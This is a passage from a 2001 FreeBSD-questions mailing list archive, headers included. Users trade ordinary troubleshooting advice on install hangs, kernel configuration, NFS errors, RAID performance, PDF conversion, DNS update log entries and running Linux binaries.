[198.144.200.196]) by hub.freebsd.org (Postfix) with ESMTP id 2AB0937B405 for ; Thu, 22 Nov 2001 03:40:22 -0800 (PST) Received: from pc-02 (pc02.ekahuna.com [198.144.200.197]) by empty1.ekahuna.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Thu, 22 Nov 2001 03:40:22 -0800 From: "Philip J. Koenig" Organization: The Electric Kahuna Organization To: Brian Sobolak Date: Thu, 22 Nov 2001 03:40:20 -0800 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Re[2]: 4.4-Release install hangs Reply-To: pjklist@ekahuna.com Cc: Joe & Fhe Barbish , Alan Edmonds , questions@FreeBSD.ORG Message-ID: <3BFC73A4.27474.55EBFD@localhost> In-reply-to: <9657527560.20011121230756@mindspring.com> References: <3BFB5D29.30517.125426D@localhost> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 21 Nov 2001, at 23:07, Brian Sobolak boldly uttered: > Wednesday, November 21, 2001, 7:52:09 AM, you wrote: > > PJK> I tried scroll-lock earlier, doesn't have any effect. The last line > PJK> on the screen (the one I presume it is hanging on) doing a verbose > PJK> boot is: > > >> isa_probe_children: probing PnP devices > > This is just a total guess (and am thus replying off list) but have > you disabled PnP in your BIOS? It sometimes mucks with things. > > brian OK, I got to the bottom of this. Believe it or not, the culprit was a setting in the BIOS pertaining to the USB port, called "Assign USB IRQ". Since I wasn't planning to use USB, I set it to "No". Bad Juju. Once I changed that, the FreeBSD install no longer hung. (I set all the rest of the settings back to where they were in the first place just to make sure) Guess either there is something funky about the way the BIOS on this board disables the USB IRQ, or the FreeBSD prober/installer has a bit of an oversensitivity to it. Thanks all for your suggestions. Phil -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 3:40:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 7207C37B405 for ; Thu, 22 Nov 2001 03:40:32 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166rfQ-0005tc-00; Thu, 22 Nov 2001 19:05:16 +0800 Date: Thu, 22 Nov 2001 19:05:15 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: pedro almodovar Cc: freebsd-questions@FreeBSD.ORG Subject: Re: help compiling the kernel In-Reply-To: <20011121031456.13392.qmail@web20209.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG cd /usr/src/$ARCH/conf cp GENERIC YOURKERNEL vi YOURKERNEL add your lines to YOURKERNEL... On Tue, 20 Nov 2001, pedro almodovar wrote: > i am new to freebsd. the thing is that i am trying to > compile the kernel so i can use my dsl. i read an > article about it, and tells me to compile it with the > following options > > options NETGRAPH > > pseudo-device tun > > my question is, WHERE do i put those lines? > I am also getting en error message running > /usr/sbin/config to the kernel > > config: line 127: no isa's to wildcard > > it's the line referring to the keyboard driver > thanks > > > > __________________________________________________ > Do You Yahoo!? > Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. > http://geocities.yahoo.com/ps/info1 > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 3:46:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id D710E37B405 for ; Thu, 22 Nov 2001 03:46:10 -0800 (PST) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 22 Nov 2001 11:46:10 +0000 (GMT) To: absinthe@pobox.com Cc: freebsd-questions@freebsd.org Subject: Re: vm_fault errors with nfs clients In-Reply-To: Your message of "Wed, 21 Nov 2001 18:08:37 PST." <20011122020837.40827.qmail@web10401.mail.yahoo.com> Date: Thu, 22 Nov 2001 11:46:09 +0000 From: Ian Dowse Message-ID: <200111221146.aa81233@salmon.maths.tcd.ie> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message <20011122020837.40827.qmail@web10401.mail.yahoo.com>, Dylan Carlson writes: >Have a bunch of 4.4-CURRENT machines mounting to a 4.4-CURRENT nfs server... i >f >I throw enough activity on them, I'll get this sort of entry: I assume you mean 4.4-STABLE? FreeBSD-CURRENT is the "unstable" 5.0 development version, which is quite different. >Nov 21 20:16:31 foo /kernel: nfs_getpages: error 4 >Nov 21 20:16:31 foo /kernel: vm_fault: pager read error, pid 98825 (cp) >Nov 21 20:52:23 foo /kernel: nfs server ds1:/usr/home: not responding >Nov 21 20:53:30 foo /kernel: nfs server ds1:/usr/home: not responding > >After that, no amount of massaging the server will get it to talk NFS again. >Any ideas? Try running tcpdump on both the client and the server to see what packets are being sent and received - that will help to determine if this is a client, server or network problem. Are you using any special mount options on the client? Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 3:48:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tic-gw.ticzone.com (tic-gw.ticzone.com [168.210.40.2]) by hub.freebsd.org (Postfix) with ESMTP id 04F8037B416 for ; Thu, 22 Nov 2001 03:48:33 -0800 (PST) Received: from ops01 ([10.0.0.212]) by tic-gw.ticzone.com (8.9.2/8.9.2) with SMTP id NAA38347 for ; Thu, 22 Nov 2001 13:48:28 +0200 (SAST) (envelope-from erich@ticzone.com) Reply-To: From: "Erich Voigt" To: Subject: Website Remote Access? Date: Thu, 22 Nov 2001 13:48:29 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Guys (those who are not eating turkeys today!) I continiously have a need to remotely access systems we host to check perforamnce issues. I do have a dial-in account to an ISP where I can then access our sites BUT.. Is there not (a) system(s) out there that I can access and then from there see what my local websites are performing like???? Something like traceroute.org but for html ??? ?? Erich To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 3:58: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from nova.kettering.edu (nova.kettering.edu [192.138.137.2]) by hub.freebsd.org (Postfix) with ESMTP id 2D0EC37B405 for ; Thu, 22 Nov 2001 03:58:01 -0800 (PST) Received: from localhost (acheng@localhost) by nova.kettering.edu (8.10.1/8.10.0) with SMTP id fAMBvjo09231; Thu, 22 Nov 2001 06:57:45 -0500 (EST) X-Authentication-Warning: nova.kettering.edu: acheng owned process doing -bs Date: Thu, 22 Nov 2001 06:57:45 -0500 (EST) From: Ada Cheng X-Sender: acheng@nova.kettering.edu To: Matthias Bartels Cc: "questions@freebsd.org" Subject: Re: ps2pdf In-Reply-To: Message-ID: Organization: Kettering University (formerly GMI E&MI) - Flint MI MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Try using dvipdfm. It works very well for me. Ada On Thu, 22 Nov 2001, Matthias Bartels wrote: > Servus, >=20 > i have problem using ps2pdf >=20 > i am using latex to generate dvi files, this files i convert using >=20 > dvips -f -j0 -Pcmz -t a4 myDviFile.dvi > output.ps >=20 > i convert this ps file with >=20 > ps2pdf output.ps >=20 > But when i try to open this document under windows with acroread i get > an error message: >=20 > "... The Root element is missing or invalid." Opening the same pdf > under FreeBSD works fine. >=20 > Same problem when i use ps2pdf12, ... >=20 > This would be no problem if everybody would be clever enough to use > FreeBSD, but i know there are still some faithless out there that do > not ;) >=20 > So has anybody an idea?? >=20 > Thank you > M.Bartels >=20 >=20 > Ringtones, Logos und crazy Mailbox Ansagen f=FCr Dein Nokia-Handy @ > www.genie.de >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D Ada Cheng acheng@member.ams.org Assistant Professor http://www.kettering.edu/~acheng Department of Applied Mathematics =20 Kettering University 1700 West Third Avenue Flint, Michigan 48504-4898 U.S.A. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 4: 5:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from zang.com (zang.com [216.34.130.70]) by hub.freebsd.org (Postfix) with ESMTP id E739337B405; Thu, 22 Nov 2001 04:05:53 -0800 (PST) Received: from localhost (johne@localhost) by zang.com (8.9.1a/8.9.1) with ESMTP id EAA29353; Thu, 22 Nov 2001 04:05:53 -0800 (PST) Date: Thu, 22 Nov 2001 04:05:53 -0800 (PST) From: John Engelhart To: freebsd-questions@FreeBSD.ORG, freebsd-scsi@FreeBSD.ORG Subject: Bizzare Adaptec 3210S results Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm having the oddest problems with an Adaptec 3210S controller in FreeBSD. Eight drives, four to a channel, initially set up as a RAID 0/5. After spending a day in this configuration and getting horrible performance (the lone IDE drive in the system was beating it out, but only slightly), I decided it was time to start from scratch. Rebuilt as a pure RAID 0 array performance went up considerably. But look at this: Version 1.01d ------Sequential Output------ --Sequential Input- --Random- -Per Chr- --Block-- -Rewrite- -Per Chr- --Block-- --Seeks-- Machine Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP localhost 8G 69499 87 112164 60 18697 12 51132 98 56762 27 316.6 5 Writes twice the speed of reads!? Did hell freeze over? I'm curious to hear anyones opinion on why write performance is besting read performance. For reference, the RAID 0/5 performance was around 27-33Mb/s across the board. Even more appreciated is pointers to where the problem lies. I may end up going through the hassel of installing another OS and using it to benchmark the RAID to eliminate FreeBSD from the list of problems. Write-back is enabled. Soft-updates are enabled. The drives are fast, 15K seagate ones that individually start at a minimum of 47Mb/sec. This thing should be close to pushing the 64/33 PCI bus it's on. Anyone else have this card? Offer any pointers? Even a "Yea, you should be doing better than that" would be helpful. As a curiosity item, both the boot rom utility and the dptmgr util report the PCI bus a 528Mb/s, or 64/66. The AMD 760 chipset only does 64/33. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 4:22: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 5025437B417 for ; Thu, 22 Nov 2001 04:21:57 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAMCLsh80084 for ; Thu, 22 Nov 2001 13:21:55 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <01e801c17350$4677f890$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "FreeBSD Questions" Subject: Changing source code and rebuilding kernel -- how do I maintain my changes? Date: Thu, 22 Nov 2001 13:21:50 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In order to remove a diagnostic message, I need to change one line of if_xlreg.h in the source code. What is the proper procedure for changing the file and maintaining the change should the source code be updated? For the moment, I just copied the original source to if_xlreg.h.old in the same directory, then made my change, with a comment that I can grep if I need to find it in future. Is this a good way to do it? What happens when I refresh all the source with more recent versions? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 4:30:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 937CC37B417 for ; Thu, 22 Nov 2001 04:30:52 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAMCUlh94945; Thu, 22 Nov 2001 13:30:47 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <01f201c17351$83f65a30$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kelly Hendrix" Cc: "FreeBSD Questions" References: <012901c17334$750f86d0$0a00000a@atkielski.com> <20011122064040.A485@www.slackwit.com> Subject: Re: Error on xl0 Date: Thu, 22 Nov 2001 13:30:47 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm trying a rebuild now. However, I'm not sure how to track my changes. What happens the next time I update the source? ----- Original Message ----- From: "Kelly Hendrix" To: "Anthony Atkielski" Cc: "FreeBSD Questions" Sent: Thursday, November 22, 2001 12:40 Subject: Re: Error on xl0 > Hello Anthony, > > On Thu, Nov 22, 2001 at 10:02:47AM +0100, Anthony Atkielski wrote: > > > The one solution I've seen involves recompiling a driver module (and > > presumably rebuilding the kernel?), which seems like dramatic overkill > > and risk for what is apparently only a diagnostic message. > > Even if you never choose to track stable and to do build worlds, kernel > recompiles are still something that most FreeBSD users will have to do. > Generic kernels, as bloated as they are, usually don't have everything > enabled that an average user will need (firewall support, and sound for > example). Or maybe the generic kernel is sufficient for your needs, but > you just want to recompile to streamline it a bit. Admittedly, I had > reservations the first time I recompiled a kernel, but with the help of > Greg Lehey's book, "The Complete FreeBSD", I managed to get it both > recompiled and installed. > > My suggestion to you is to try the kernel rebuild. If you have a fast > machine, and IIRC you do, it'll only take a few minutes, probably less > than ten. If you're not sure how, this is a good place to start: > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig.html > > If you still have questions, well, that's why this list is here. Be > specific about your problem and provide as much information as you can. > > Kelly Hendrix > > -- > ______________________________________________________________________ > | There are two ways to live your life. One is as though nothing is a | > | miracle. The other is as though everything is a miracle. | > | | > | Albert Einstein (1879-1955) | > |______________________________________________________________________| > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 4:51:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by hub.freebsd.org (Postfix) with ESMTP id CE7BB37B405 for ; Thu, 22 Nov 2001 04:51:42 -0800 (PST) Received: from mail.ilrt.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Thu, 22 Nov 2001 12:51:28 +0000 Received: from cmjg (helo=localhost) by mail.ilrt.bris.ac.uk with local-esmtp (Exim 3.16 #1) id 166tK0-0002Fd-00; Thu, 22 Nov 2001 12:51:16 +0000 Date: Thu, 22 Nov 2001 12:51:16 +0000 (GMT) From: Jan Grant X-X-Sender: To: Anthony Atkielski Cc: Kelly Hendrix , FreeBSD Questions Subject: Re: Error on xl0 In-Reply-To: <01f201c17351$83f65a30$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 22 Nov 2001, Anthony Atkielski wrote: > I'm trying a rebuild now. However, I'm not sure how to track my changes. What > happens the next time I update the source? If you've made changes to GENERIC, then you'll lose them and/or confuse CVS. If you've copied GENERIC to a new kernal config file and made the changes to that, cvsup by default won't delete that; however, changes to GENERIC won't be tracked into your new kernel config. For my workstation I keep the differences between GENERIC and my kernel handy, then rebuild the kernel config file from the updated GENERIC after a cvsup. (Taking care to check GENERIC and /usr/src/UPDATING for any gotchas.) -- jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287088 Fax +44 (0)117 9287112 RFC822 jan.grant@bris.ac.uk Q: What's yellow and equivalent to the axiom of choice? A: Zorn's lemon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 5:14:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web12208.mail.yahoo.com (web12208.mail.yahoo.com [216.136.173.92]) by hub.freebsd.org (Postfix) with SMTP id D875E37B416 for ; Thu, 22 Nov 2001 05:14:09 -0800 (PST) Message-ID: <20011122131409.65568.qmail@web12208.mail.yahoo.com> Received: from [194.102.45.3] by web12208.mail.yahoo.com via HTTP; Thu, 22 Nov 2001 05:14:09 PST Date: Thu, 22 Nov 2001 05:14:09 -0800 (PST) From: Hainal Ramon Adrian Subject: hi there .. i have a problem !!! To: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi there ,, i want to ask something that it is bothering me on freebsd.... before freebsd i had red hat linux 6.2 ...and on linux i had some binary files that i used...and now on freebsd that binery files won't work... i asked some friends how could i make them work on freebsd and they said to try with brandelf..but i didn't work..or i was using brandelf in the wrong way.. other friends said to try to recompile the files for freebsd ..but i don't know how to do that..:{{{.. please help me with this matter because i realy need those files .... or should i install linux 6.2 again ??? please excuse my english .... Thank You . __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 5:25:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cartman.private.techsupport.co.uk (cabletel1.cableol.net [194.168.3.4]) by hub.freebsd.org (Postfix) with ESMTP id 05A6137B416 for ; Thu, 22 Nov 2001 05:25:16 -0800 (PST) Received: from ceri by cartman.private.techsupport.co.uk with local (Exim 3.31 #1) id 166tpF-0005NH-00; Thu, 22 Nov 2001 13:23:33 +0000 Date: Thu, 22 Nov 2001 13:23:33 +0000 From: Ceri To: Walter Whitesell II Cc: freebsd-questions@freebsd.org, Jonathan Chen Subject: Re: log entrys Message-ID: <20011122132333.A14715@cartman.private.techsupport.co.uk> References: <002a01c172e1$6b8b8bc0$0500a8c0@BIGMOUSE3> <20011122131021.A91710@jonc.itouch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011122131021.A91710@jonc.itouch>; from jonathan.chen@itouch.co.nz on Thu, Nov 22, 2001 at 01:10:21PM +1300 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 01:10:21PM +1300, Jonathan Chen said: > On Wed, Nov 21, 2001 at 05:08:22PM -0600, Walter Whitesell II wrote: > > We have these log entrys in our messages logfile do you know what it might mean? > > > > Nov 21 04:55:56 ns1 named[82]: unapproved update from [65.202.13.36].1194 for microlab.com > > Nov 21 04:57:34 ns1 named[82]: unapproved update from [65.202.13.36].1220 for microlab.com > > Very likely, some Windows host is querying your DNS for all hosts in > its domain. No, that's not it. A Windows 2000 (possibly XP) machine on 65.202.13.36 has microlab.com entered as it's domain name, and nobody has unticked the box that says ``register this connection's address in DNS'', which is ticked by default, much to my chagrin : [root@ns1 /]$ grep -c update /data/namedb/logs/security.log 373690 Untick that box on that host and reboot it (even though windows doesn't say you need to, you do). Ceri -- I can please only one person per day. Today is not your day. Tomorrow isn't looking good either. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 5:27:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 0BC4937B417 for ; Thu, 22 Nov 2001 05:27:17 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAMDQwu00420; Thu, 22 Nov 2001 14:27:02 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <021001c17359$5fa61cd0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Jan Grant" Cc: "Kelly Hendrix" , "FreeBSD Questions" References: Subject: Re: Error on xl0 Date: Thu, 22 Nov 2001 14:26:58 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jan writes: > If you've made changes to GENERIC, then you'll > lose them and/or confuse CVS. If you've copied > GENERIC to a new kernal config file and made the > changes to that, cvsup by default won't delete > that; however, changes to GENERIC won't be tracked > into your new kernel config. I've copied the configuration to my own configuration file, so that's not a problem, presumably. The thing is, now I've changed one of the source files to redefine an internal parameter ... so how do I keep that change to that particular source file (/sys/pci/if_xlreg.h), and also make sure that it doesn't interfere with the standard source? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 5:28:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail2.resfeber.se (Resfeber-gw.customer.internet5.net [195.66.48.230]) by hub.freebsd.org (Postfix) with ESMTP id 79B8B37B405 for ; Thu, 22 Nov 2001 05:28:54 -0800 (PST) Received: from resfeber.se ([212.75.72.9]) by mail2.resfeber.se (8.9.3/8.9.3) with ESMTP id QAA26715; Thu, 22 Nov 2001 16:29:22 +0100 Message-ID: <3BFCFCD5.7950B58E@resfeber.se> Date: Thu, 22 Nov 2001 14:25:41 +0100 From: Jon Molin X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Error on xl0 References: <021001c17359$5fa61cd0$0a00000a@atkielski.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski wrote: > > Jan writes: > > > If you've made changes to GENERIC, then you'll > > lose them and/or confuse CVS. If you've copied > > GENERIC to a new kernal config file and made the > > changes to that, cvsup by default won't delete > > that; however, changes to GENERIC won't be tracked > > into your new kernel config. > > I've copied the configuration to my own configuration file, so that's not a > problem, presumably. The thing is, now I've changed one of the source files to > redefine an internal parameter ... so how do I keep that change to that > particular source file (/sys/pci/if_xlreg.h), and also make sure that it doesn't > interfere with the standard source? > you have read about kernelconfig in the handbook, haven't you? > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 5:30:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 8906437B417 for ; Thu, 22 Nov 2001 05:30:36 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAMDU2u00441; Thu, 22 Nov 2001 14:30:02 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <021701c17359$cb135550$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Jon Molin" Cc: "FreeBSD Questions" References: <021001c17359$5fa61cd0$0a00000a@atkielski.com> <3BFCFCD5.7950B58E@resfeber.se> Subject: Re: Error on xl0 Date: Thu, 22 Nov 2001 14:30:03 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jon writes: > you have read about kernelconfig in the > handbook, haven't you? How else would I have discovered how to rebuild the kernel? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 5:31:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gwdu60.gwdg.de (gwdu60.gwdg.de [134.76.98.60]) by hub.freebsd.org (Postfix) with ESMTP id 9A45737B416 for ; Thu, 22 Nov 2001 05:31:21 -0800 (PST) Received: from localhost (kheuer@localhost) by gwdu60.gwdg.de (8.11.6/8.11.6) with ESMTP id fAMDVJ107970; Thu, 22 Nov 2001 14:31:19 +0100 (CET) (envelope-from kheuer@gwdu60.gwdg.de) Date: Thu, 22 Nov 2001 14:31:19 +0100 (CET) From: Konrad Heuer To: Hainal Ramon Adrian Cc: freebsd-questions@FreeBSD.ORG Subject: Re: hi there .. i have a problem !!! In-Reply-To: <20011122131409.65568.qmail@web12208.mail.yahoo.com> Message-ID: <20011122142534.P7920-100000@gwdu60.gwdg.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 22 Nov 2001, Hainal Ramon Adrian wrote: > i want to ask something that it is bothering me on > freebsd.... > > before freebsd i had red hat linux 6.2 ...and on linux > i had some binary files that i used...and now on > freebsd that binery files won't work... Do you get an error message when trying to invoke them? If yes, what is the message? > i asked some friends how could i make them work on > freebsd and they said to try with brandelf..but i > didn't work..or i was using brandelf in the wrong > 